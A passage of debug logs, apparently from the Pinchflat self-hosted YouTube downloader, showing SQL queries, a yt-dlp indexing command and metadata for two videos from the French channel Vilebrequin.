"media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:12.824 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=41.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:12.825 [debug] QUERY OK source="settings" db=0.5ms queue=0.5ms idle=34.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:12.834 [debug] QUERY OK source="media_items" db=6.1ms idle=12.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 07:42:12.990 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 07:42:12.991 [debug] Current batch of media processed. Will check again in 1000ms 07:42:12.992 [debug] QUERY OK source="settings" db=1.0ms idle=171.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:12.993 [debug] QUERY OK source="settings" db=0.7ms idle=171.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:12.994 [debug] QUERY OK source="settings" db=0.5ms idle=169.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:12.995 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/channel/UCC9mlCpyisiIpp9YA9xV-QA --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Vilebrequin/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/4d/df/4ddfc8b22295b0374792b755b1317d8b6363b0fcb90c7a807980996487cf4370.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/20/b9/20b97e2e230df69852f8ab9b6425d5316b2af6a658ae7970a50c27baed6fe13c.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 07:42:13.992 [debug] Current batch of media processed. Will check again in 1000ms 07:42:14.993 [debug] Current batch of media processed. Will check again in 1000ms 07:42:15.994 [debug] Current batch of media processed. Will check again in 1000ms 07:42:16.995 [debug] Current batch of media processed. Will check again in 1000ms 07:42:17.996 [debug] Current batch of media processed. Will check again in 1000ms 07:42:18.997 [debug] Current batch of media processed. Will check again in 1000ms 07:42:19.998 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "duration" => 1740, "filename" => "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", "id" => "dh8XxY717Gw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dh8XxY717Gw", "playlist_index" => 1, "timestamp" => 1701969303, "title" => "C'est fini.", "upload_date" => "20231207"} 07:42:20.000 [debug] QUERY OK source="sources" db=1.0ms decode=0.1ms queue=0.1ms idle=1705.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:20.002 [debug] QUERY OK source="sources" db=0.6ms queue=0.5ms idle=1707.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:20.008 [debug] QUERY OK source="media_items" db=5.1ms queue=0.1ms idle=1533.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-07 17:15:03Z], 1] 07:42:20.015 [debug] QUERY OK source="media_items" db=5.4ms idle=1205.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "C'est fini.", "d24aecde-9224-430a-be07-64a322f95b45", "dh8XxY717Gw", 1740, false, "https://www.youtube.com/watch?v=dh8XxY717Gw", 1, "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", false, false, false, 1, [], 98, ~U[2023-12-07 17:15:03Z], ~U[2026-04-20 05:42:20Z], ~U[2026-04-20 05:42:20Z], "MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "C'est fini.", "dh8XxY717Gw", 1740, false, "https://www.youtube.com/watch?v=dh8XxY717Gw", "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", false, 1, ~U[2023-12-07 17:15:03Z]] 07:42:20.016 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=208.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:20.018 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.6ms idle=16.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:20.020 [debug] QUERY OK source="media_items" db=1.1ms idle=16.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 07:42:20.020 [debug] Current batch of media processed. Will check again in 1000ms 07:42:21.022 [debug] Current batch of media processed. Will check again in 1000ms 07:42:22.024 [debug] Current batch of media processed. Will check again in 1000ms 07:42:23.028 [debug] Current batch of media processed. Will check again in 1000ms 07:42:24.029 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "duration" => 2156, "filename" => "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", "id" => "HfuNf9F0Ivc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HfuNf9F0Ivc", "playlist_index" => 2, "timestamp" => 1701364501, "title" => "On prend un ROND POINT à 160KM/H", "upload_date" => "20231130"} 07:42:24.031 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=736.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:24.033 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=738.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:24.040 [debug] QUERY OK source="media_items" db=5.1ms queue=0.1ms idle=741.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-30 17:15:01Z], 1] 07:42:24.068 [debug] QUERY OK source="media_items" db=25.9ms queue=0.1ms idle=565.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "On prend un ROND POINT à 160KM/H", "9e0bbd32-5b3c-42db-8a71-0fb07f105168", "HfuNf9F0Ivc", 2156, false, "https://www.youtube.com/watch?v=HfuNf9F0Ivc", 2, "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", false, false, false, 1, [], 98, ~U[2023-11-30 17:15:01Z], ~U[2026-04-20 05:42:24Z], ~U[2026-04-20 05:42:24Z], "Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "On prend un ROND POINT à 160KM/H", "HfuNf9F0Ivc", 2156, false, "https://www.youtube.com/watch?v=HfuNf9F0Ivc", "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", false, 1, ~U[2023-11-30 17:15:01Z]] 07:42:24.071 [debug] QUERY OK source="sources" db=2.4ms idle=243.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:24.073 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=40.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:24.076 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=40.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 07:42:24.076 [debug] Current batch of media processed. Will check again in 1000ms 07:42:25.079 [debug] Current batch of media processed. Will check again in 1000ms 07:42:26.082 [debug] Current batch of media processed. Will check again in 1000ms 07:42:27.083 [debug] Current batch of media processed. Will check again in 1000ms 07:42:28.085 [debug] FileFollowerServer Handler: Got 